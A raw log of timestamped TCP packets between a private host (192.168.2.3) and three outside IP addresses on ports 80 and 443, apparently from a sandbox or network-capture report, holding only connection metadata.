Oct 29, 2021 14:10:10.806991100 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.807008028 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.807019949 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.807032108 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.807070971 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.807123899 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.807135105 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.807169914 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.807264090 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.807327032 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.807334900 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.807338953 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.807359934 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.807396889 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.807455063 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.807552099 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.807594061 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.807606936 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.807619095 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.807635069 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.807689905 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.807702065 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.807720900 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.807862997 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.807923079 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.807934999 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.807945967 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.807954073 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.808017015 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.808027029 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.808047056 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.808135986 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.808165073 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.808176994 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.808187962 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.808214903 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.808270931 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.808281898 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.808305979 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.808387041 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.808424950 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.808439016 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.808449984 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.808474064 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.808530092 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.808542013 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.808561087 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.808653116 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.808677912 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.808689117 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.808731079 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.808767080 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.808777094 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.808785915 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.808819056 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.808903933 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.808917046 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.818290949 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.818365097 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.818419933 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.818487883 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.818501949 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.818515062 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.818864107 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.818898916 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.818932056 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.818947077 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.818958998 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.818972111 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.819154024 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.819201946 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.819242954 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.819257975 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.819443941 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.819483995 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.819525003 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.819597960 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.819611073 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.819622993 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.819677114 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.819909096 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.819947958 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.820019007 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.820029974 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.820063114 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.820075989 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.820266008 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.820307016 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.820391893 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.820415020 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.820434093 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.820646048 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.820683002 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.820770979 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.820781946 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.820792913 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.820835114 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.820933104 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.821108103 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.826112986 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.826153994 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.826209068 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.826220036 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.826277018 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.826283932 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.826528072 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.826564074 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.826618910 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.826631069 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.826664925 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.826672077 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.827004910 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.827044010 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.827092886 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.827105045 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.827116013 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.827393055 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.827429056 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.827478886 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.827491999 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.827502966 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.827538013 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.827599049 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.827610970 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.827745914 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.827996016 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.828916073 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:11.307867050 CEST	49812	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:11.378170013 CEST	80	49812	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:11.378279924 CEST	49812	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:11.378355980 CEST	49812	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:11.378380060 CEST	49812	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:11.448220015 CEST	80	49812	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:11.448245049 CEST	80	49812	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:11.528207064 CEST	80	49812	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:11.528235912 CEST	80	49812	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:11.528300047 CEST	49812	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:11.528466940 CEST	49812	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:11.555654049 CEST	49813	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:11.597896099 CEST	80	49812	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:11.625421047 CEST	80	49813	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:11.625530005 CEST	49813	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:11.625618935 CEST	49813	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:11.625684023 CEST	49813	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:11.694320917 CEST	80	49813	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:11.694346905 CEST	80	49813	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:11.777209997 CEST	80	49813	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:11.777326107 CEST	49813	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:11.777476072 CEST	49813	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:11.846375942 CEST	80	49813	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:12.162672043 CEST	49815	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:12.242196083 CEST	80	49815	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:12.242353916 CEST	49815	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:12.242407084 CEST	49815	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:12.242413998 CEST	49815	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:12.321732044 CEST	80	49815	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:12.409071922 CEST	80	49815	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:12.409604073 CEST	49815	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:12.409641981 CEST	49815	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:12.488389015 CEST	80	49815	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:12.494518042 CEST	49816	443	192.168.2.3	81.177.141.36
Oct 29, 2021 14:10:12.494564056 CEST	443	49816	81.177.141.36	192.168.2.3
Oct 29, 2021 14:10:12.494702101 CEST	49816	443	192.168.2.3	81.177.141.36
Oct 29, 2021 14:10:12.495682955 CEST	49816	443	192.168.2.3	81.177.141.36
Oct 29, 2021 14:10:12.495712042 CEST	443	49816	81.177.141.36	192.168.2.3
Oct 29, 2021 14:10:12.624581099 CEST	443	49816	81.177.141.36	192.168.2.3
Oct 29, 2021 14:10:12.624769926 CEST	49816	443	192.168.2.3	81.177.141.36
Oct 29, 2021 14:10:12.626746893 CEST	49816	443	192.168.2.3	81.177.141.36
Oct 29, 2021 14:10:12.626764059 CEST	443	49816	81.177.141.36	192.168.2.3
Oct 29, 2021 14:10:12.627065897 CEST	443	49816	81.177.141.36	192.168.2.3
Oct 29, 2021 14:10:12.645664930 CEST	49816	443	192.168.2.3	81.177.141.36
Oct 29, 2021 14:10:12.688878059 CEST	443	49816	81.177.141.36	192.168.2.3
Oct 29, 2021 14:10:12.725667953 CEST	443	49816	81.177.141.36	192.168.2.3
Oct 29, 2021 14:10:12.725753069 CEST	443	49816	81.177.141.36	192.168.2.3
Oct 29, 2021 14:10:12.726170063 CEST	49816	443	192.168.2.3	81.177.141.36
Oct 29, 2021 14:10:12.726200104 CEST	49816	443	192.168.2.3	81.177.141.36
Oct 29, 2021 14:10:12.726226091 CEST	443	49816	81.177.141.36	192.168.2.3
Oct 29, 2021 14:10:12.726401091 CEST	49816	443	192.168.2.3	81.177.141.36
Oct 29, 2021 14:10:12.726418972 CEST	443	49816	81.177.141.36	192.168.2.3
Oct 29, 2021 14:10:12.757780075 CEST	49817	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:12.831532001 CEST	80	49817	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:12.832336903 CEST	49817	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:12.832544088 CEST	49817	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:12.832564116 CEST	49817	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:12.906006098 CEST	80	49817	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:12.906052113 CEST	80	49817	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:12.982331038 CEST	80	49817	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:12.982498884 CEST	49817	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:12.982692957 CEST	49817	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.009823084 CEST	49818	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.057574034 CEST	80	49817	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.079400063 CEST	80	49818	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.081007957 CEST	49818	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.081239939 CEST	49818	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.081347942 CEST	49818	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.151654005 CEST	80	49818	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.151690960 CEST	80	49818	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.234499931 CEST	80	49818	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.234611034 CEST	49818	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.253477097 CEST	49818	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.281795979 CEST	49819	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.322865963 CEST	80	49818	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.350864887 CEST	80	49819	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.351974964 CEST	49819	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.352175951 CEST	49819	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.352257967 CEST	49819	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.421588898 CEST	80	49819	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.421962023 CEST	80	49819	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.505712986 CEST	80	49819	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.505815029 CEST	49819	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.505975962 CEST	49819	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.564723015 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.574594975 CEST	80	49819	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.641032934 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.641230106 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.641297102 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.641307116 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.714112043 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.714157104 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.794205904 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.794262886 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.794368029 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.794408083 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.794446945 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.794483900 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.794498920 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.794522047 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.794539928 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.794562101 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.794576883 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.794612885 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.794651985 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.794670105 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.794713020 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.867136955 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.867187023 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.867223978 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.867296934 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.867316961 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.867336035 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.867376089 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.867391109 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.867414951 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.867454052 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.867470026 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.867492914 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.867507935 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.867563963 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.867604017 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.867616892 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.867644072 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.867681026 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.867695093 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.867721081 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.867759943 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.867795944 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.867813110 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.867835999 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.867875099 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.867887974 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.867913008 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.867927074 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.867952108 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.868006945 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.940916061 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.940973043 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.941014051 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.941051960 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.941091061 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.941128969 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.941145897 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.941169024 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.941188097 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.941195011 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.941210985 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.941248894 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.941287994 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.941303968 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.941327095 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.941364050 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.941380024 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.941402912 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.941417933 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.941442966 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.941483021 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.941521883 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.941535950 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.941560030 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.941598892 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.941617012 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.941642046 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.941678047 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.941694021 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.941716909 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.941730022 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.941755056 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.941795111 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.941806078 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.941838026 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.941874981 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.941891909 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.941914082 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.941951990 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.941987991 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.942002058 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.942028046 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.942065954 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.942085028 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.942105055 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.942120075 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.942146063 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.942183018 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.942198992 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.942223072 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.942261934 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.942276001 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.942298889 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.942338943 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.942375898 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.942389965 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.942415953 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.942455053 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:13.942471027 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:13.942506075 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:14.014928102 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.014980078 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.015018940 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.015055895 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.015057087 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:14.015094995 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.015136003 CEST	80	49820	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:14.015149117 CEST	49820	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:14.015177011 CEST	80	49820	5.188.88.203	192.168.2.3
